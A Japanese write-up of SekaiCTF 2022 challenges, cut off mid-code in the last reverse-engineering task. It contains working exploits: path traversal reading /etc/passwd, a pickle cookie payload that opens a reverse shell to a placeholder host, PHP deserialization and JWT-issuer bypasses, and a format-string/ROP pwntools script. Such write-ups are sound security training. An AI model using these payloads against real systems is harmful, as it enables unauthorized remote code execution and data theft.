SekaiCTF 2022 Writeup
SekaiCTFにkanonさんとチームDouble Lariatで参加して852チーム中16位でした。解けた問題についてWriteupを書いていきます。某リズムゲームがモチーフのCTFですが、公式とは何の関係はありません。
kanonさんのWriteup:
公式Writeup:
Web
Bottle Poem [146 solves]
詩のリンク一覧が表示されているページのURLが与えられます。
見ていくと、http://bottle-poem.ctf.sekai.team/show?id=The_tiger.txt
のようなリンクにアクセスすると詩が表示されることがわかります。id
でPath Traversalができそうな雰囲気なので、/show?id=../../../../../../etc/passwd
にアクセスしてみます。
❯ curl http://bottle-poem.ctf.sekai.team/show?id=../../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
/etc/passwd
にアクセスできました。サーバーのソースコードの場所を知りたいので、/proc/self/cmdline
を見てみます。
❯ curl http://bottle-poem.ctf.sekai.team/show?id=../../../../../proc/self/cmdline --output - | sd '\x00' ' ' % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 23 100 23 0 0 52 0 --:--:-- --:--:-- --:--:-- 52 python3 -u /app/app.py
/app/app.py
を実行していることがわかりました。ソースコードは以下の様になっています。
from bottle import route, run, template, request, response, error from config.secret import sekai import os import re @route("/") def home(): return template("index") @route("/show") def index(): response.content_type = "text/plain; charset=UTF-8" param = request.query.id if re.search("^../app", param): return "No!!!!" requested_path = os.path.join(os.getcwd() + "/poems", param) try: with open(requested_path) as f: tfile = f.read() except Exception as e: return "No This Poems" return tfile @error(404) def error404(error): return template("error") @route("/sign") def index(): try: session = request.get_cookie("name", secret=sekai) if not session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=sekai) return template("guest", name=session["name"]) if session["name"] == "admin": return template("admin", name=session["name"]) except: return "pls no hax" if __name__ == "__main__": os.chdir(os.path.dirname(__file__)) run(host="0.0.0.0", port=8080)
Bottle製のアプリケーションだったようです。とりあえずsign
にadmin
でアクセスすれば何かありそうに見えるので、セッションの改ざんをしたいところです。鍵はconfig.secret
にあるようなので、/app/config/secret.py
を見てみます。
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
鍵の内容を見ることができました。以下のようなプログラムを実行して{"name": "admin"}
になるCookieを作ってみます。
import bottle sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu" bottle.response.set_cookie("name", {"name": "admin"}, secret=sekai) print(bottle.response._cookies)
出力されたCookieをセットして/sign
にアクセスすると、以下のような出力が得られます。
Hello, you are admin, but it’s useless.
admin
でアクセスすれば何かあると思ったけど、何もありませんでした。views
ディレクトリからテンプレートのhtmlを見ても特に面白いものはありません。
どうすればいいか困ってかなり時間を使いましたが、そういえばBottleのCookie改ざんについての記事を前に読んだような...と思い出したので検索すると、以下の記事がヒットします。
Python製のWeb Frameworkはいくつかあるが, Django, Bottle, Pyramidなどでpickleがセッション管理に使われている. これらで使用されるSECRET_KEYが漏れるとそれを利用して悪意のあるpickleデータを生成し, Cookieを作成できる.
これによると、Bottleはセッション管理にpickleを利用しているようです。(読んだのに完全に忘れてた...)
記事を読んでreverse shellのexploitを書いてみます。
import bottle sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu" import os class Obj(object): def __reduce__(self): return (os.system, ("""python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("X.X.X.X",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'""",)) obj = Obj() bottle.response.set_cookie("name", obj, secret=sekai) print(bottle.response._cookies)
出力されたCookieをセットして/sign
にアクセスするとpickleのunserialize処理が走り、reverse shellが実行されます。これでRCEができました。
フラグを探して見つけた/flag
を実行するとフラグが手に入りました。
SEKAI{W3lcome_To_Our_Bottle}
Sekai Game Start [63 solves]
以下のようなPHPがサーバーで動いています。
<?php include('./flag.php'); class Sekai_Game{ public $start = True; public function __destruct(){ if($this->start === True){ echo "Sekai Game Start Here is your flag ".getenv('FLAG'); } } public function __wakeup(){ $this->start=False; } } if(isset($_GET['sekai_game.run'])){ unserialize($_GET['sekai_game.run']); }else{ highlight_file(__FILE__); } ?>
自明なInsecure Deserializationがありますが、$_GET['sekai_game.run']
にどうやって値を入れるかという壁があります。
PHPでは$_GET
のような外部からのくる変数は、.
が含まれていたら_
に変換する仕様があります。
注意:
変数名のドットやスペースはアンダースコアに変換されます。 たとえば
<input name="a.b" />
は$_REQUEST["a_b"]
となります。
つまり、単純に/?sekai_game.run=hoge
とアクセスしても$_GET['sekai_game_run']
の方に値が入ってしまいます。これをどうにか回避して$_GET['sekai_game.run']
に値を入れる必要があります。
この処理はphp_register_variable_ex
関数の中にあります。
php-src/php_variables.c at master · php/php-src · GitHub
ソースコードを読んでbypassを探そうとしましたが、全然わからなかったのでひたすら検索しました。php_register_variable_ex ctf
で調べると、以下の記事がヒットします。(安全客ってブログ転載サイトだと思ってるんだけど、元の記事わからなかったのでゆるして)
これによると、?a[a.a=hoge
とすれば$_GET['a_a.a']
にhoge
が格納されるらしいです。つまり、/?sekai[game.run=hoge
とすれば$_GET['sekai_game.run']
に値を格納することができます!
これでInsecure Deserializationができるようになりましたが、もう一つの壁があります。
Sekai_Game
クラスを利用してフラグを出力するには$start = True
の状態で__destruct
が呼ばれる必要がありますが、__destruct
の前にunserialize時に呼ばれる__wakeup
で$start = False
にされてしまいます。
そのため、どうにかして__wakeup
の呼び出しを回避する必要があります。これもわからなかったので無限回検索しました。
検索の途中、指定した属性の数が実際の属性の数より大きいときに__wakeup
が呼ばれなくなる (CVE-2016-7124)を使ってbypassできるというのを中国圏の記事で多く見つけましたが、問題サーバーのPHPは7.4.5なので使えません。( PHP5 < 5.6.25 || PHP7 < 7.0.10 で有効らしいです)
https://chowdera.com/2021/11/20211124144627747m.htmlchowdera.com
全く使えるテクニックが見つからないので、「最近見つかったバグがあるのでは」と考えました。GitHubのissuesやbugs.php.netで検索を繰り返すと、一つの報告を見つけられます。
C:1:"クラス名":0:{}
を入れると__wakeup
が呼び出されなくなるらしいです。試したところ、今回のバージョンでも有効でした。
http://sekai-game-start.ctf.sekai.team/?sekai[game.run=C:10:"Sekai_Game":0:{}
にアクセスすると、フラグを得られます。
Warning: Class Sekai_Game has no unserializer in /var/www/html/index.php on line 15 Sekai Game Start Here is your flag SEKAI{W3lcome_T0_Our_universe}
SEKAI{W3lcome_T0_Our_universe}
今回のWeb問で一番難しかった気がしますが、割と解かれているので不思議。どこかではよく知られていたテクニックなのかな......
Issues [49 solves]
以下のようなFlask製サーバーが動いています。
app.py
from flask import Flask, request, session, url_for, redirect, render_template, Response import secrets from api import api from werkzeug.exceptions import HTTPException app = Flask(__name__, template_folder=".") app.secret_key = secrets.token_bytes() jwks_file = open("jwks.json", "r") jwks_contents = jwks_file.read() jwks_file.close() app.register_blueprint(api) @app.after_request def after_request_callback(response: Response): # your code here print(response.__dict__) if response.headers["Content-Type"].startswith("text/html"): updated = render_template("template.html", status=response.status_code, message=response.response[0].decode()) response.set_data(updated) return response @app.errorhandler(Exception) def handle_exception(e): if isinstance(e, HTTPException): return e return str(e), 500 @app.route("/", defaults={"path": ""}) @app.route("/<path:path>") def home(path): return "OK", 200 return render_template("template.html", status=200, message="OK") @app.route("/login", methods=['GET', 'POST']) def login(): return "Not Implemented", 501 return render_template("template.html", status=501, message="Not Implemented"), 501 @app.route("/.well-known/jwks.json") def jwks(): return jwks_contents, 200, {'Content-Type': 'application/json'} @app.route("/logout") def logout(): session.clear() redirect_uri = request.args.get('redirect', url_for('home')) return redirect(redirect_uri)
api.py:
from flask import Blueprint, request from urllib.parse import urlparse import os import jwt import requests api = Blueprint("api", __name__, url_prefix="/api") # valid_issuer_domain = os.getenv("HOST") valid_issuer_domain = "127.0.0.1:5000" valid_algo = "RS256" def get_public_key_url(token): is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain print(token) header = jwt.get_unverified_header(token) if "issuer" not in header: raise Exception("issuer not found in JWT header") token_issuer = header["issuer"] print("urllib: " + urlparse(token_issuer).netloc) if not is_valid_issuer(token_issuer): raise Exception( "Invalid issuer netloc: {issuer}. Should be: {valid_issuer}".format( issuer=urlparse(token_issuer).netloc, valid_issuer=valid_issuer_domain ) ) pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer) return pubkey_url def get_public_key(url): resp = requests.get(url) resp = resp.json() key = resp["keys"][0]["x5c"][0] return key def has_valid_alg(token): header = jwt.get_unverified_header(token) algo = header["alg"] return algo == valid_algo def authorize_request(token): pubkey_url = get_public_key_url(token) if has_valid_alg(token) is False: raise Exception("Invalid algorithm. Only {valid_algo} allowed.".format(valid_algo=valid_algo)) pubkey = get_public_key(pubkey_url) pubkey = "-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(pubkey=pubkey).encode() decoded_token = jwt.decode(token, pubkey, algorithms=["RS256"]) if "user" not in decoded_token: raise Exception("user claim missing") if decoded_token["user"] == "admin": return True return False @api.before_request def authorize(): if "Authorization" not in request.headers: raise Exception("No Authorization header found") authz_header = request.headers["Authorization"].split(" ") if len(authz_header) < 2: raise Exception("Bearer token not found") token = authz_header[1] if not authorize_request(token): return "Authorization failed" f = open("flag.txt") secret_flag = f.read() f.close() @api.route("/flag") def flag(): return secret_flag
/api/flag
にアクセスすればフラグが手に入りますが、JWTによる認証が入っています。
JWTの認証は、JWTのヘッダに含まれるURLからJWTの公開鍵を取り出し、検証することで行われています。ヘッダの取り出しは検証前に行われているので、こちらが公開鍵のURLを指定することができますがこれも検証が行われています。
is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain
urllibでパースした結果のnetloc
を見て、ドメインが自分自身のものか検証しています。PythonのURLパースといえばOrange TsaiさんのSSRFのスライドを思い出しますがうまく刺さらないし、ソースコードを見てbypassを考えても思いつかず時間を溶かしました。
見落としがないかもう一度ソースコードを見てみると、Open Redirectがあることに気が付きます。
@app.route("/logout") def logout(): session.clear() redirect_uri = request.args.get('redirect', url_for('home')) return redirect(redirect_uri)
Open Redirectがあれば検証をbypassできます。http://localhost:8080/logout?redirect=http://(自分のサーバー)/
とすればリダイレクトで自分のサーバーに飛ばし、こちらが指定した公開鍵を使わせることができます。
サーバーに公開鍵を用意し、以下のプログラムを実行すればフラグが得られます。
import requests import jwt url = "http://issues-3m7gwj1d.ctf.sekai.team/" privkey = open("privkey","rb").read() token = jwt.encode( headers={ "issuer": "http://localhost:8080/logout?redirect=http://X.X.X.X/", "alg": "RS256" }, payload = { "user": "admin" }, key=privkey, algorithm="RS256" ).decode() print(token) res = requests.get(url + "/api/flag", headers = {"Authorization": f"Bearer {token}"}) print(res.text)
Crab Commodities [30 solves]
Rust製のWebサイトです。7日間の間に商品を売買できるゲームのようなものを遊ぶことができます。
Marketに並んでいる商品の購入、買ってInventoryに入ったアイテムの売却、アップグレードの購入といった行動が可能です。
Storage UpgradeはInventoryの拡張、More Commoditiesは新しい種類の商品の追加、Loanは一回限りの借金、Donateは寄付をすることができます。Flagを購入することがゴールです。
Marketの価格の変動を利用して稼ぐことは一応できるんですけど、Flagの$2,000,000,000には到底届きません。LoanやSellなどのRace Conditionがないか簡単に試しましたが、無理そうでした。諦めてソースコードを読んでいきましょう。
ソースコードを読んで気になったのは所持金を表す変数のGame.money
の型がi64
で、APIで受け取るItemPayload.quantity
の型がi32
である点です。異なるサイズの数値型を扱っているので、どこかでオーバーフローが起きてそうですね。
何かを爆買いして金額のオーバーフローが起これば面白いことが起きそうです。アイテムを爆買いしようとしてもInventoryのサイズに入るかのチェックが入っていて駄目なので、アップグレードを爆買いしましょう。以下のソースコードを見ると、アップグレードは32767個まで買うことができるようです。
if body.quantity <= 0 || body.quantity > 32767 { return web::Json(APIResult { success: false, message: "Invalid quantity", }); }
試しにStorage Upgradeを32767個買ってみると、金額がオーバーフローして所持金が$1,018,297,296になりました。まだFlagには足りないな~と思って自分はMore Commoditiesを解放して適当な商品でさらにオーバーフローをしてFlagの金額に到達させたのですが、hamayanhamayanさんのWriteupによるとStorage Upgradeの個数を調整すれば普通にFlagの金額に届いたようです。(たしかにとなった)
競技中に書いたコードは以下の様になります。出力されたCookieを使ってアクセスし、Flagを購入するとフラグが手に入ります。
import requests ses = requests.Session() url = "http://crab-commodities.ctf.sekai.team" print(ses.post(url + "/auth/register", data={"username": "satoooon", "password": "hogehoge"}).text) # print(ses.post(url + "/auth/login", data={"username": "satoooon", "password": "hogehoge"}).text) print(ses.post(url + "/api/reset").text) print(ses.post(url + "/api/upgrade", data={"name": "Storage Upgrade", "quantity": 32760}).text) print(ses.post(url + "/api/upgrade", data={"name": "More Commodities", "quantity": 1}).text) print(ses.post(url + "/api/buy", data={"name": "Palladium", "quantity": 3000000}).text) print(ses.post(url + "/api/sell", data={"name": "Palladium", "quantity": 3000000}).text) print(ses.post(url + "/api/buy", data={"name": "Palladium", "quantity": 3000000}).text) print(ses.cookies)
SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}
Pwn
SaveMe [44 solves]
以下のようなバイナリです。Ghidraでデコンパイルしました。
void store_flag(void) { long lVar1; int __fd; void *__buf; long in_FS_OFFSET; lVar1 = *(long *)(in_FS_OFFSET + 0x28); __buf = malloc(0x50); __fd = open("flag.txt",0); if (__fd == -1) { puts("Cannot read flag!\nExiting..."); /* WARNING: Subroutine does not return */ exit(-1); } read(__fd,__buf,0x50); close(__fd); if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } void init(void *param_1) { long lVar1; long in_FS_OFFSET; lVar1 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); setbuf(stderr,(char *)0x0); memset(param_1,0,0x50); mmap(seccomp_init,0x1000,7,0x22,0,0); // rwx if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } void seccomp_filter(void) { long lVar1; undefined8 uVar2; long in_FS_OFFSET; lVar1 = *(long *)(in_FS_OFFSET + 0x28); uVar2 = seccomp_init(0); seccomp_rule_add(uVar2,0x7fff0000,0,0); // open seccomp_rule_add(uVar2,0x7fff0000,1,0); // write seccomp_rule_add(uVar2,0x7fff0000,0xe7,0); // exit_group seccomp_load(uVar2); if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } undefined8 main(void) { long in_FS_OFFSET; long local_70; char buf [88]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_70 = 0; store_flag(); init(buf); seccomp_filter(); puts("This is the message from flag:"); puts("------------------------------------------------------"); puts("| I got lost in my memory, moving around and around. |"); puts("| Please help me out! |"); printf("| Here is your gift: %p |\n",buf); puts("------------------------------------------------------"); puts("[1] Save him"); puts("[2] Ignore"); printf("Your option: "); __isoc99_scanf("%lld",&local_70); if (local_70 == 1) { puts("Hmmm, so where should I start to go?"); } else { if (local_70 == 2) { printf("Please leave note for the next person: "); __isoc99_scanf("%80s",buf); printf(buf); putc(10,stdout); } } if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fc000)
やってることは以下の通りです。
フラグをheapに格納する
seccompのためにrwxでmmapする (このあたりよくわからない)
seccompでread/write/group_exit以外のsyscallを制限する
80byte読み込んでFSB
とりあえずDouble Staged FSBを試みましたが、80byteという制限が割と厳しくて駄目です。また、通信するデータが大きいと別のsyscallが呼ばれてseccompで落ちるようなので、0x10000くらいのサイズで%{0x10000}c%n
するやつができません。%hn
サイズでしか通らないので、諸々の事情を加味すると書き替えられるのは6bytesくらいで限界です。(もっと賢い方法があるのかもしれない)
最初に思いついたのは、RBPをrwx領域のところに書き替えリターンアドレスをmainの途中に戻しもう一回FSBをしてstack pivotでshellcode実行する案ですが、Canaryの存在が厳しいです。一回目でcanary leakできても二回目はスタックに入力のバッファが存在しないのでDouble Staged FSBが必須になるんですが、80byteをどうしても越えてしまいます。
ではどうしたかというと、Canaryと__stack_chk_fail@got
を書き替えました。
canaryを不正な値にすれば__stack_chk_fail@got
が呼ばれるのですが、呼ばれたときにはスタックにまだ入力したバッファが下に存在します。つまりpop gadgetでrspがバッファに到達できればROPが可能です。これがギリギリ通りました。
以下のgadgetを使用します。(ret2csuのやつです)
0x00000000004015b2 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
それと合わせてFSBのpayloadをROPの分が入るようにゴルフします。ROPができるようになったらrsiをscanfのリターンアドレスの位置になるように調整してscanfを呼び出せば、純粋なROPが可能になります。(%s
の代入は、mainの処理の途中に飛ばせば省略できます)
純粋なROPができたらret2shellcodeして適当にheapにあるフラグを取り出しましょう。
import sys import glob from pwn import * context.terminal = "wterminal" context.binary = "./saveme" chall = context.binary libc = "./libc-2.31.so" nc = "nc challs.ctf.sekai.team 4001" if len(glob.glob(libc)) == 1: libc = ELF(libc) def connect(): if "debug" in sys.argv: return gdb.debug(context.binary.path, command) elif "remote" in sys.argv: _, domain, port = nc.split() return remote(domain, int(port)) else: return process(context.binary.path) def to_bytes(v): return str(v).encode() def unpack(data): return u64(data.rstrip().ljust(8, b"\x00")) command = ''' b *0x0040151d b *0x401070 c ''' io = connect() io.recvuntil("Here is your gift: 0x") buf = int(io.recvuntil(" ").rstrip(), 16) log.info(f"buf: {buf:x}") io.sendlineafter("Your option: ", "2") __stack_chk_fail_got = 0x404038 canary_addr = buf + 8 * 0xb pop_rdi = 0x00000000004015bb pop_rsi_r15 = 0x00000000004015b9 ret = 0x0000000000401016 pop6 = 0x4015b2 main_scanf = 0x401500 scanf_retaddr = buf + 0x38 payload = f"%{pop6&0xffff}c%16$hn%17$n".encode() payload += b"A" * (8 - len(payload) % 8) payload += p64(pop_rsi_r15) payload += p64(scanf_retaddr) payload += p64(0) payload += p64(ret) payload += p64(main_scanf) payload += b"A" * (0x50 - 0x10 - len(payload)) payload += p64(__stack_chk_fail_got) + p64(canary_addr) print(payload, len(payload)) assert b" " not in payload assert b"\n" not in payload assert len(payload) <= 80 io.sendlineafter("Please leave note for the next person: ", payload) scanf_plt = 0x401110 exec_area = 0x405000 payload = b"" payload += p64(pop_rdi) payload += p64(next(chall.search(b"%80s\x00"))) payload += p64(pop_rsi_r15) payload += p64(exec_area) payload += p64(0) payload += p64(scanf_plt) payload += p64(exec_area) io.sendline(payload) shellcode = asm(f""" mov rdi, 0x10 mov rax, 0x4010f0 call rax sub rax, 0x1410 mov rdi, 1 mov rsi, rax mov rdx, 0x100 mov rax, 1 syscall """) io.sendline(shellcode) io.interactive()
SEKAI{Y0u_g0T_m3_n@w_93e127fc6e3ab73712408a5090fc9a12}
公式Writeup見たらputc@got
使ってた。何もわざわざcanary壊さなくても良かった......
Reverse
Matrix Lab 1 [191 solves]
Javaクラスファイルが渡されます。デコンパイラ持ってなかったので調べたんですが、Intellij IDEAでもデコンパイルできるんですね。結果がこちらです。
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // import java.util.Scanner; public class Sekai { private static int length = (int)Math.pow(2.0D, 3.0D) - 2; public Sekai() { } public static void main(String[] var0) { Scanner var1 = new Scanner(System.in); System.out.print("Enter the flag: "); String var2 = var1.next(); if (var2.length() != 43) { System.out.println("Oops, wrong flag!"); } else { String var3 = var2.substring(0, length); String var4 = var2.substring(length, var2.length() - 1); String var5 = var2.substring(var2.length() - 1); if (var3.equals("SEKAI{") && var5.equals("}")) { assert var4.length() == length * length; if (solve(var4)) { System.out.println("Congratulations, you got the flag!"); } else { System.out.println("Oops, wrong flag!"); } } else { System.out.println("Oops, wrong flag!"); } } } public static String encrypt(char[] var0, int var1) { char[] var2 = new char[length * 2]; int var3 = length - 1; int var4 = length; int var5; for(var5 = 0; var5 < length * 2; ++var5) { var2[var5] = var0[var3--]; var2[var5 + 1] = var0[var4++]; ++var5; } for(var5 = 0; var5 < length * 2; ++var5) { var2[var5] ^= (char)var1; } return String.valueOf(var2); } public static char[] getArray(char[][] var0, int var1, int var2) { char[] var3 = new char[length * 2]; int var4 = 0; int var5; for(var5 = 0; var5 < length; ++var5) { var3[var4] = var0[var1][var5]; ++var4; } for(var5 = 0; var5 < length; ++var5) { var3[var4] = var0[var2][length - 1 - var5]; ++var4; } return var3; } public static char[][] transform(char[] var0, int var1) { char[][] var2 = new char[var1][var1]; for(int var3 = 0; var3 < var1 * var1; ++var3) { var2[var3 / var1][var3 % var1] = var0[var3]; } return var2; } public static boolean solve(String var0) { char[][] var1 = transform(var0.toCharArray(), length); for(int var2 = 0; var2 <= length / 2; ++var2) { for(int var3 = 0; var3 < length - 2 * var2 - 1; ++var3) { char var4 = var1[var2][var2 + var3]; var1[var2][var2 + var3] = var1[length - 1 - var2 - var3][var2]; var1[length - 1 - var2 - var3][var2] = var1[length - 1 - var2][length - 1 - var2 - var3]; var1[length - 1 - var2][length - 1 - var2 - var3] = var1[var2 + var3][length - 1 - var2]; var1[var2 + var3][length - 1 - var2] = var4; } } String var10001 = encrypt(getArray(var1, 0, 5), 2); return "oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2".equals(var10001 + encrypt(getArray(var1, 1, 4), 1) + encrypt(getArray(var1, 2, 3), 0)); } }
色々試してみたところ、encryptは暗号化前の1文字と暗号化後の1文字が対応しているようです。
入力: SEKAI{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} 最後の比較される文字列: CCCCCCCCCCCC@@@@@@@@@@@@AAAAAAAAAAAA 入力: SEKAI{_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} 結果: ]CCCCCCCCCCC@@@@@@@@@@@@AAAAAAAAAAAA 入力: SEKAI{A_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} 結果: CCCCCCCCCCCC^@@@@@@@@@@@AAAAAAAAAAAA 入力: SEKAI{AA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} 結果: CCCCCCCCCCCC@@@@@@@@@@@@_AAAAAAAAAAA 入力: SEKAI{AAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} 結果: CCCCCCCCCCCC@@@@@@@@@@@@A_AAAAAAAAAA 入力: SEKAI{AAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} 結果: CCCCCCCCCCCC@^@@@@@@@@@@AAAAAAAAAAAA 入力: SEKAI{AAAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} 結果: C]CCCCCCCCCC@@@@@@@@@@@@AAAAAAAAAAAA
暗号化後の文字は文字列を三つに分けて、1,2,3,3,2,1のように割り振られていますね。
1文字ずつ総当たりして解を求めます。
public static void main(String[] argv) { String[] flag = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".split(""); String[] ans = "oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2".split(""); for (int i = 0; i < 36; i++) { int idx; if (i % 6 < 3) { idx = i / 3 + (i % 6) * 12; } else { idx = i / 3 + (2 - i % 3) * 12; } // System.out.println(idx); for (char c = 0x20; c < 0x80; c++) { flag[i] = String.valueOf(c); String[] result = get_result(String.join("", flag)).split(""); // System.out.println(String.join("", flag)); // System.out.println(String.join("", result)); if (result[idx].equals(ans[idx])) { break; } } } System.out.println(String.join("", flag)); System.out.println(get_result(String.join("", flag))); return; }
SEKAI{m4tr1x_d3cryP710N_15_Fun_M4T3_@2D2D!}
Matrix Lab 2 [80 solves]
exeファイルが渡されますが、かなり大きくて読むのが難しいです。
じゃあ動的解析してみようということで、Windows Process Monitorをためしに使ってみました。(straceみたいなやつです)
ログを見てみると、python37.dll
という文字が見えます。PythonコードをPyinstallerでexe化されてそうですね。
以下の記事を元にソースコードを復元します。
# uncompyle6 version 3.9.0a1 # Python bytecode version base 3.7.0 (3390) # Decompiled from: Python 3.8.10 (default, Jun 22 2022, 20:18:18) # [GCC 9.4.0] # Embedded file name: Matrix_Lab.py print('Welcome to Matrix Lab 2! Hope you enjoy the journey.') print('Lab initializing...') try: import matlab.engine engine = matlab.engine.start_matlab() flag = input('Enter the lab passcode: ').strip() outcome = False if len(flag) == 23 and flag[:6] == 'SEKAI{' and flag[-1:] == '}': A = [ord(i) ^ 42 for i in flag[6:-1]] B = matlab.double([A[i:i + 4] for i in range(0, len(A), 4)]) X = [list(map(int, i)) for i in engine.magic(4)] Y = [list(map(int, i)) for i in engine.pascal(4)] C = [[None for _ in range(len(X))] for _ in range(len(X))] for i in range(len(X)): for j in range(len(X[i])): C[i][j] = X[i][j] + Y[i][j] C = matlab.double(C) if engine.mtimes(C, engine.rot90(engine.transpose(B), 1337)) == matlab.double([[2094, 2962, 1014, 2102], [2172, 3955, 1174, 3266], [3186, 4188, 1462, 3936], [3583, 5995, 1859, 5150]]): outcome = True elif outcome: print('Access Granted! Your input is the flag.') else: print('Access Denied! Your flag: SADGE{aHR0cHM6Ly95b3V0dS5iZS9kUXc0dzlXZ1hjUQ==}') except: print('Unknown error. Maybe you are running the lab in an unsupported environment...') print('Your flag: SADGE{ovg.yl/2M6pWQB}') # okay decompiling Matrix_Lab2.pyc
MATLABを使いフラグを行列に変換して計算した結果を比較しているようですね。
MATLABは持ってないのでnumpyで逆演算を書きます。
import numpy as np X = [[16, 2, 3, 13], [ 5, 11, 10, 8], [ 9, 7, 6, 12], [ 4, 14, 15, 1]] Y = [[1,1,1,1],[1,2,3,4],[1,3,6,10],[1,4,10,20]] C = [[None for _ in range(len(X))] for _ in range(len(X))] for i in range(len(X)): for j in range(len(X[i])): C[i][j] = X[i][j] + Y[i][j] C = np.matrix(C, dtype="float64") D = np.matrix([[2094, 2962, 1014, 2102], [2172, 3955, 1174, 3266], [3186, 4188, 1462, 3936], [3583, 5995, 1859, 5150]], dtype="float64") print(C, D) E = (C**-1) * D B = np.transpose(np.rot90(E, -1337)) flag = "SEKAI{" A = np.matrix([[0 for _ in range(4)] for _ in range(4)], dtype="float64") for x in range(4): for y in range(4): a = B[x,y] A[x,y] = int(round(a)) flag += chr(int(round(a)) ^ 42) flag += "}" print(flag)
SEKAI{M47L4B154W3S0M3!}
Matrix Lab 3 [19 solves]
ELFが渡されます。デバッグ情報付きで優しい。
デコンパイル結果を見てみると、vbxという謎の関数群が見えます。
int main(void) { int iVar1; uint uVar2; long lVar3; size_t sVar4; uint8_t *puVar5; vbx_ubyte_t *dest; vbx_ubyte_t *dest_00; vbx_ubyte_t *dest_01; vbx_ubyte_t *dest_02; vbx_ubyte_t *v_dst; long in_FS_OFFSET; RNG rng; int i; uint8_t *A; vbx_ubyte_t *v_A; vbx_ubyte_t *v_B; vbx_ubyte_t *v_C; vbx_ubyte_t *v_D; vbx_ubyte_t *v_O; uint8_t *output; uint8_t key [16]; char command [65]; uint8_t keys [176]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("+------+. "); puts("|`. | `. "); puts("| `+--+---+ "); puts("| | | | "); puts("+---+--+. | "); puts(" `. | `.| "); puts(" `+------+ "); vbxsim_init(0x200,0x4000,0x100,6,5,4,0,0); lVar3 = ptrace(PTRACE_TRACEME,0,0,0); if (lVar3 == -1) { /* WARNING: Subroutine does not return */ exit(1); } printf("Enter the command to unlock the Matrix...\n> "); __isoc99_scanf(&DAT_001651cd,command); sVar4 = strlen(command); if (((sVar4 != 0x40) || (iVar1 = strncmp(command,"SEKAI{",6), iVar1 != 0)) || (command[63] != '}') ) { puts("Incorrect command format. You cannot unlock the Matrix. :("); /* WARNING: Subroutine does not return */ exit(1); } puVar5 = init(8,command); dest = (vbx_ubyte_t *)vbx_sp_malloc_nodebug(0x40); dest_00 = (vbx_ubyte_t *)vbx_sp_malloc_nodebug(0x40); dest_01 = (vbx_ubyte_t *)vbx_sp_malloc_nodebug(0x40); dest_02 = (vbx_ubyte_t *)vbx_sp_malloc_nodebug(0x40); v_dst = (vbx_ubyte_t *)vbx_sp_malloc_nodebug(0x40); if (((dest == (vbx_ubyte_t *)0x0) || (dest_00 == (vbx_ubyte_t *)0x0)) || ((dest_01 == (vbx_ubyte_t *)0x0 || ((dest_02 == (vbx_ubyte_t *)0x0 || (v_dst == (vbx_ubyte_t *)0x0)))))) { puts("Unknown error while launching the Matrix."); /* WARNING: Subroutine does not return */ exit(1); } vbx_dma_to_vector((vbx_void_t *)dest,puVar5,0x40); vbx_sync(); vbx_set_vl(0x40,1,1); vbxsim_SVBBBUUU(VXOR,dest,'\x13',dest); vbxsim_SVBBBUUU(VMOV,dest_00,'\x02',(vbx_ubyte_t *)0x0); vbxsim_SVBBBUUU(VSGT,dest_02,'a',dest); vbxsim_VVBBBUUU(VSUB,dest_00,dest_00,dest_02); vbxsim_VVBBBUUU(VMUL,dest_01,dest,dest_00); manipulate(v_dst,dest_01,8); puVar5 = (uint8_t *)malloc(0x40); vbx_dma_to_host(puVar5,(vbx_void_t *)v_dst,0x40); vbx_sync(); puts("Command accepted. Generating your Single-use Key..."); printf("Using RNG to make it completely random."); sleep(2); rng = 0xdeadbeef; for (i = 0; i < 0x10; i = i + 1) { do { do { uVar2 = gen(&rng); key[i] = (uint8_t)uVar2; } while (key[i] < 0x21); } while (0x7e < key[i]); } ks2(key,keys); puts("\nVerifying your identity..."); iVar1 = enc(keys,puVar5); if (iVar1 == 0) { puts("Access denied. You cannot 